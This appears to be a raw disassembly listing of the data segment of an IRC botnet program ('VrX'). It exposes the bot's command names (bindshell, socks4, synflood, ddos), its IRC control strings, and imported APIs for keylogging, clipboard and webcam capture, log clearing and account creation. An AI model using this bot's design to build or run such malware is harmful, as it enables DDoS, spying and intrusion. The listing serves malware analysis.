dword_42C908	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AC7+1197o
					; sub_401AC7+1316o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401AC7+117Eo
		align 4
dword_42C924	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+1173o
					; sub_401AC7+123Do
dword_42C930	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+116Eo
					; sub_401AC7+1238o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401AC7+1155o
dword_42C944	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401AC7+114Ao
					; sub_401AC7+121Fo
dword_42C950	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1145o
					; sub_401AC7+121Ao
dword_42C95C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+112Co
dword_42C968	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401AC7+1121o
dword_42C978	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401AC7+111Co
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401AC7+1103o
		align 4
dword_42C998	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+10F8o
dword_42C9A4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401AC7+10F3o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401AC7+10DAo
dword_42C9B8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401AC7+10CFo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401AC7+10B1o
		align 4
dword_42C9D4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401AC7+10A6o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401AC7+1088o
		align 10h
dword_42C9F0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401AC7+107Do
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401AC7+105Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401AC7+104Ao
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401AC7+1035o
		align 4
dword_42CA18	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401AC7+102Ao
aServer_0	db 'Server',0           ; DATA XREF: sub_401AC7+1025o
					; sub_401AC7+1078o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401AC7+100Co
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401AC7+FF7o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401AC7+FE2o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401AC7+FCDo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401AC7+FB8o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401AC7+FA3o
					; sub_401AC7+2D36o
aSecure		db 'secure',0           ; DATA XREF: sub_401AC7+F8Eo
					; sub_401AC7+2D25o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401AC7+F79o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401AC7+F64o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401AC7+F4Fo
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401AC7+F3Ao
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401AC7+F25o
aVersion	db 'version',0          ; DATA XREF: sub_401AC7+F10o
aLo		db 'lo',0               ; DATA XREF: sub_401AC7+EFBo
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401AC7+EE6o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401AC7+EBCo
					; sub_401AC7+ED1o
aRn		db 'rn',0               ; DATA XREF: sub_401AC7+EA7o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401AC7+E8Fo
a63		db '63',0               ; DATA XREF: sub_401AC7+D5Co
		align 4
asc_42CABC:				; DATA XREF: sub_401AC7+D34o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401AC7+CF7o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401AC7+CECo
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401AC7+CDBo
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401AC7+CBFo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401AC7+CAEo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401AC7+C9Co
aD		db '$%d',0              ; DATA XREF: sub_401AC7+C2Eo
aD_0		db '$%d-',0             ; DATA XREF: sub_401AC7+B6Ao
		align 4
aC:					; DATA XREF: sub_401AC7+A7Eo
					; sub_401AC7+4AEFo
		unicode	0, <c>,0
unk_42CB00	db  2Dh	; -		; DATA XREF: sub_401AC7+A58o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB34	db  2Dh	; -		; DATA XREF: sub_401AC7+A47o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB64	db  2Dh	; -		; DATA XREF: sub_401AC7+A36o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CB9C	db  2Dh	; -		; DATA XREF: sub_401AC7+9C7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401AC7+933o
		align 4
unk_42CBC4	db  2Dh	; -		; DATA XREF: sub_401AC7+919o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CC08	db  2Dh	; -		; DATA XREF: sub_401AC7+8FBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC44	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401AC7+8EAo
		dd 0A0Dh
dword_42CC5C	dd 4E495001h, 47h	; DATA XREF: sub_401AC7+8B6o
dword_42CC64	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401AC7+8ABo
		dd 0D017325h, 0Ah
dword_42CC80	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401AC7+87Ao
dword_42CC8C	dd 23h			; DATA XREF: sub_401AC7+7F1o
					; sub_40CD2A+1Bo
unk_42CC90	db  2Dh	; -		; DATA XREF: sub_401AC7+760o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_401AC7+6E7o
					; sub_401AC7+970o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401AC7+6C0o
		align 4
dword_42CCCC	dd 43434401h, 0		; DATA XREF: sub_401AC7+6A2o
dword_42CCD4	dd 323333h		; DATA XREF: sub_401AC7+62Co
					; sub_401AC7+AB4o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401AC7+60Ao
					; sub_409862+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401AC7+5FEo
					; sub_409862+16o
unk_42CCE8	db    3			; DATA XREF: sub_401AC7+5ADo
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CD08	db    3			; DATA XREF: sub_401AC7+58Do
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401AC7+55Co
aQuit		db 'QUIT',0             ; DATA XREF: sub_401AC7+51Fo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401AC7+50Eo
					; sub_401AC7+5CAo
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401AC7+4E9o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401AC7+3CBo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo
					; sub_401AC7+5EEo
unk_42CD5C	db    3			; DATA XREF: sub_401AC7+355o
					; sub_401AC7+2E89o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_401AC7+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+28Do
					; sub_401AC7+7A99o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401AC7+265o
					; sub_417B1E:loc_417B95o
a@:					; DATA XREF: sub_401AC7+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401AC7+22Ao
a005		db '005',0              ; DATA XREF: sub_401AC7+215o
a001		db '001',0              ; DATA XREF: sub_401AC7+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o
					; sub_401AC7+3B8o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401AC7+1A9o
					; sub_417B1E+50o
		align 4
asc_42CDC8:				; DATA XREF: sub_401AC7+19Ao
					; sub_401AC7+7BA2o
		unicode	0, <!>,0
asc_42CDCC:				; DATA XREF: sub_401AC7+A8o
					; sub_401AC7+E34o ...
		unicode	0, < >,0
asc_42CDD0	db ' :',0               ; DATA XREF: sub_401AC7+86o
					; sub_401AC7:loc_4025D3o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409862+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4098FD+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4098FD+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4098FD:loc_40A567o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4098FD+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4098FD+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4098FD+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4098FD+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4098FD+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4098FD+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4098FD:loc_40A4C9o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4098FD+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4098FD+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4098FD:loc_40A47Fo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4098FD+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4098FD+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4098FD+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4098FD+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4098FD:loc_40A40Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4098FD+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4098FD+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4098FD:loc_40A3C1o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4098FD+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4098FD+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4098FD:loc_40A377o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4098FD+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4098FD+9ECo
					; sub_418AA2+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4098FD+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4098FD+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4098FD+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4098FD+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4098FD+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4098FD+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4098FD+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4098FD+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4098FD+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4098FD+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4098FD:loc_40A25Bo
					; sub_418AA2+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4098FD+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4098FD+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4098FD+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4098FD:loc_40A1FCo
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4098FD+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4098FD+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4098FD+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4098FD+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4098FD+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4098FD+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4098FD+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4098FD+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4098FD+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4098FD+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4098FD+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4098FD:loc_40A0DCo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4098FD+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4098FD+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4098FD+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4098FD+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4098FD+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4098FD+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4098FD+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4098FD+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_4098FD+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4098FD+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_4098FD+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4098FD+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4098FD+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4098FD+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4098FD+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4098FD+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4098FD+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4098FD+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4098FD+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4098FD+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4098FD+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4098FD+588o
aSocket		db 'socket',0           ; DATA XREF: sub_4098FD+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4098FD+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4098FD+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4098FD+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4098FD+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4098FD+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4098FD+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4098FD+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4098FD+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4098FD+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4098FD+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4098FD+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4098FD+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4098FD+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4098FD+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4098FD+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4098FD+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4098FD+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4098FD:loc_409D2Ao
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4098FD:loc_409D02o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4098FD+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4098FD+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4098FD+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4098FD+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4098FD+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4098FD+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4098FD+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4098FD:loc_409C54o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4098FD+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4098FD+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4098FD:loc_409C0Fo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4098FD+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4098FD+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4098FD+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4098FD+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4098FD+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4098FD+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4098FD+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4098FD+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4098FD:loc_409B5Co
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4098FD+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4098FD+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4098FD+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4098FD:loc_409AF5o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4098FD+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4098FD+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4098FD+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4098FD+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4098FD+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4098FD+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4098FD+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4098FD+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4098FD:loc_409A32o
					; sub_424C88+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4098FD:loc_409A05o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4098FD+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4098FD+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4098FD+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4098FD+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4098FD+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4098FD+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4098FD+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4098FD+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4098FD+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4098FD+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4098FD+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4098FD+Ao
		align 10h
unk_42D6D0	db  2Dh	; -		; DATA XREF: sub_40A5B9+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+28o
		align 4
a_:					; DATA XREF: sub_410330+24Do
		unicode	0, <.>,0
unk_42D860	db  2Dh	; -		; DATA XREF: sub_40A91C:loc_40A9DBo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D890	db  2Dh	; -		; DATA XREF: sub_40A91C:loc_40A9A9o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D8C0	db  2Dh	; -		; DATA XREF: sub_40A91C:loc_40A975o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8E4	db  2Dh	; -		; DATA XREF: sub_40A91C+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40A9FA+46o
					; sub_40C29A+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D92C	dd 0			; DATA XREF: sub_40AE77+7o
off_42D930	dd offset sub_40AAA0	; DATA XREF: sub_40AE77+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB0Ch, 7474656Ch, 7265h, 0
		dd 2, 40AB6Ah, 706D6F63h, 2 dup(0)
		dd 3, 40ABB7h, 6E756F63h, 797274h, 0
		dd 4, 40AC55h, 736Fh, 2	dup(0)
		dd 5, 40ACCAh, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEE0h
off_42D9AC	dd offset aAbdulrazak	; DATA XREF: sub_40AAA0+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9B8	dd offset aAddison	; DATA XREF: sub_40AE77+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
